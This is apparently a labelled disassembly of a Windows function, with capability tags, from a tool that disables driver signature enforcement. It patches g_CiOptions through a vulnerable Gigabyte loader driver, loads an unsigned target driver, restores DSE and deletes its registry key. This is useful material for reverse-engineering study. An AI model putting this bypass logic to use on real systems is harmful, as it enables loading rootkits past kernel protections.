Function at 0x140063370
Capabilities:
Access peb ldr_data
Delete registry key
Disable driver code integrity
Get system information on windows
Get windows directory from kuser_shared_data
Install driver
Unload driver

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x600]
sub rsp, 0x700
mov rax, qword [0x1400fe780]
xor rax, rsp
mov qword [rbp + 0x5f0], rax
mov eax, dword [0x1400e9468]
lea r8, str._lsSystem32_hs
movsd xmm0, qword [str.ntoskrnl.exe]
mov rsi, rcx
mov dword [rbp - 0x48], eax
mov r14, rdx
movzx eax, byte [0x1400e946c]
lea rdx, [rbp - 0x50]
mov byte [rbp - 0x44], al
xor edi, edi
mov eax, dword [str.CI.dll]
mov r12d, 0x23f0
mov dword [rbp - 0x58], eax
mov r9d, 0x7ffe0030
movzx eax, word [0x1400e9474]
mov word [rbp - 0x54], ax
movzx eax, byte [0x1400e9476]
mov byte [rbp - 0x52], al
movsd qword [rbp - 0x50], xmm0
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
lea rax, [rbp - 0x58]
cmp word [rcx + 0x120], r12w
lea rcx, [rbp - 0x40]
cmovb rax, rdx
mov edx, 0x82
mov qword [rsp + 0x20], rax
call fcn.140063980
lea r9, [rsp + 0x60]
lea r8, [rsp + 0x48]
lea rcx, [rbp - 0x40]
call fcn.140062890
mov ebx, eax
test eax, eax
jns 0x14006345a
mov r8d, eax
lea rdx, [rbp - 0x40]
lea rcx, str.Failed_to_map__ls:__08X_n
call fcn.1400627d0
jmp 0x140063826
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
cmp word [rcx + 0x120], r12w
jb 0x14006352f
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x58]
call fcn.140062ac0
mov ebx, eax
test eax, eax
js 0x1400634b1
mov rdx, qword [rsp + 0x40]
lea r8, [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
call fcn.140062c90
test eax, eax
mov ecx, 0xc0000225
cmovne rdi, qword [rsp + 0x38]
xor ebx, ebx
test eax, eax
cmove ebx, ecx
mov r9, qword [rsp + 0x48]
mov rdx, r9
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
test ebx, ebx
js 0x140063826
mov rax, qword gs:[0x30]
lea rdx, str.nt_g_CiEnabled
mov r8, rdi
mov rcx, qword [rax + 0x60]
lea rax, str.CI_g_CiOptions
cmp word [rcx + 0x120], r12w
lea rcx, str._ls_at_0x_p._n
cmovae rdx, rax
call fcn.1400627d0
xor r8d, r8d
lea r9, [rsp + 0x50]
mov dl, 1
lea ecx, [r8 + 0xa]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov ebx, eax
test eax, eax
jns 0x14006359b
lea rcx, str.Fatal_error:_failed_to_acquire_SE_LOAD_DRIVER_PRIVILEGE._Make_sure_you_are_running_as_administrator._n
call fcn.1400627d0
jmp 0x140063826
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x50]
call fcn.140062ac0
mov ebx, eax
test eax, eax
js 0x1400634b1
mov rax, qword [rsp + 0x60]
xor r8d, r8d
mov r9, qword [rsp + 0x48]
add rax, 0xfffffffffffffffc
je 0x140063572
nop word [rax + rax]
cmp dword [r8 + r9], 0x1d8806eb
je 0x14006357c
inc r8
cmp r8, rax
jb 0x140063560
mov ebx, 0xc0000225
jmp 0x1400634b6
movsxd rdx, dword [r8 + r9 + 4]
mov rax, qword [rsp + 0x38]
add r8, rdx
test edx, edx
je 0x140063572
lea rdi, [rax + 8]
add rdi, r8
xor ebx, ebx
jmp 0x1400634b6
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x3e0]
mov edx, 0x208
mov rcx, rsi
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
test eax, eax
js 0x140063828
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x1d0]
mov edx, 0x208
mov rcx, r14
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
test eax, eax
js 0x140063828
lea rdx, [rbp + 0x1d0]
lea rcx, [0x140347310]
call fcn.140062f90
test eax, eax
js 0x140063828
xor r9d, r9d
mov qword [rsp + 0x58], 8
lea rdx, [rsp + 0x58]
lea r8d, [r9 + 8]
lea ecx, [r9 + 0x67]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
jns 0x140063639
mov edx, eax
lea rcx, str.Failed_to_query_code_integrity_status:__08X_n
call fcn.1400627d0
mov eax, dword [rsp + 0x5c]
and al, 3
cmp al, 1
je 0x140063671
lea rcx, str.WARNING:_CI_is_already_disabled__n
call fcn.1400627d0
lea rdx, [0x140347310]
lea rcx, [rsp + 0x68]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rsp + 0x68]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
jmp 0x140063828
lea rdx, [rbp + 0x3e0]
lea rcx, [0x140347520]
call fcn.140062f90
test eax, eax
js 0x140063828
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rdi
call fcn.1400630a0
mov ebx, eax
test eax, eax
jns 0x1400636bc
mov edx, eax
lea rcx, str.Failed_to_disable_DSE_through_Gigabyte_loader_driver:__08X_n
call fcn.1400627d0
lea rdx, [0x140347334]
jmp 0x140063802
lea rcx, str.Successfully_disabled_DSE.
call fcn.1400627d0
mov rax, qword gs:[0x30]
mov ebx, dword [rsp + 0x30]
mov rcx, qword [rax + 0x60]
cmp word [rcx + 0x120], r12w
jb 0x1400636f1
mov edx, ebx
lea rcx, str._Original_g_CiOptions_value:_0x_X.
call fcn.1400627d0
lea rcx, reloc.WS2_32.dll_ioctlsocket
call fcn.1400627d0
lea rdx, [0x140347310]
lea rcx, [rsp + 0x68]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rsp + 0x68]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
jns 0x1400637a2
cmp eax, 0xc000010e
jne 0x140063792
lea rdx, [0x140347310]
lea rcx, [rsp + 0x78]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rsp + 0x78]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
test eax, eax
jns 0x14006375a
mov edx, eax
lea rcx, str.Target_driver_is_already_loaded__and_unloading_failed_with_status__08X_n
call fcn.1400627d0
jmp 0x1400637ae
lea rdx, [0x140347310]
lea rcx, [rbp - 0x78]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp - 0x78]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
jns 0x140063789
mov edx, eax
lea rcx, str.Failed_to_reload_target_driver:__08X_n
call fcn.1400627d0
jmp 0x1400637ae
lea rcx, str.Succesfully_reloaded_target_driver._n
jmp 0x1400637a9
mov edx, eax
lea rcx, str.Failed_to_load_target_driver:__08X_n
call fcn.1400627d0
jmp 0x1400637ae
lea rcx, str.Target_driver_loaded_successfully._n
call fcn.1400627d0
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
call fcn.1400630a0
mov ebx, eax
test eax, eax
jns 0x1400637d4
mov edx, eax
lea rcx, str.WARNING:_failed_to_re_enable_DSE_through_Gigabyte_loader_driver:__08X_n
call fcn.1400627d0
xor ebx, ebx
jmp 0x1400637e0
lea rcx, str.Successfully_re_enabled_DSE._n
call fcn.1400627d0
lea rdx, [0x140347520]
lea rcx, [rbp - 0x68]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp - 0x68]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
lea rdx, [0x140347544]
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
movzx edx, byte [rsp + 0x50]
lea r9, [rsp + 0x50]
xor r8d, r8d
lea ecx, [r8 + 0xa]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov eax, ebx
mov rcx, qword [rbp + 0x5f0]
xor rcx, rsp
call fcn.1400c3740
mov rbx, qword [rsp + 0x740]
add rsp, 0x700
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret